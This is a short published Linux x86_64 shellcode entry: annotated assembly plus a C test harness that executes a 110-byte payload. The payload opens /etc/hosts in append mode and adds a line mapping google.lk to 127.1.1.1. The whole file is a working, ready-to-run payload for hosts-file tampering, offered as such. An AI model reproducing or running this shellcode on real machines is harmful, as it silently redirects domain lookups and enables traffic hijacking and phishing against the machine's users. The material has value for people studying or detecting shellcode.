/*
; Title: Add map in /etc/hosts file - 110 bytes
; Date: 2014-10-29
; Platform: linux/x86_64
; Website: http://osandamalith.wordpress.com
; Author: Osanda Malith Jayathissa (@OsandaMalith)
global _start
section .text
_start:
;open
xor rax, rax
add rax, 2 ; open syscall
xor rdi, rdi
xor rsi, rsi
push rsi ; 0x00
mov r8, 0x2f2f2f2f6374652f ; stsoh/
mov r10, 0x7374736f682f2f2f ; /cte/
push r10
push r8
add rdi, rsp
xor rsi, rsi
add si, 0x401
syscall
;write
xchg rax, rdi
xor rax, rax
add rax, 1 ; syscall for write
jmp data
write:
pop rsi
mov dl, 19 ; length in rdx
syscall
;close
xor rax, rax
add rax, 3
syscall
;exit
xor rax, rax
mov al, 60
xor rdi, rdi
syscall
data:
call write
text db '127.1.1.1 google.lk'
*/
#include <stdio.h>
#include <string.h>
unsigned char code[] = "\x48\x31\xc0\x48\x83\xc0\x02\x48"
"\x31\xff\x48\x31\xf6\x56\x49\xb8"
"\x2f\x65\x74\x63\x2f\x2f\x2f\x2f"
"\x49\xba\x2f\x2f\x2f\x68\x6f\x73"
"\x74\x73\x41\x52\x41\x50\x48\x01"
"\xe7\x48\x31\xf6\x66\x81\xc6\x01"
"\x04\x0f\x05\x48\x97\x48\x31\xc0"
"\x48\x83\xc0\x01\xeb\x18\x5e\xb2"
"\x13\x0f\x05\x48\x31\xc0\x48\x83"
"\xc0\x03\x0f\x05\x48\x31\xc0\xb0"
"\x3c\x48\x31\xff\x0f\x05\xe8\xe3"
"\xff\xff\xff\x31\x32\x37\x2e\x31"
"\x2e\x31\x2e\x31\x20\x67\x6f\x6f"
"\x67\x6c\x65\x2e\x6c\x6b";
int
main() {
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
/*EOF*/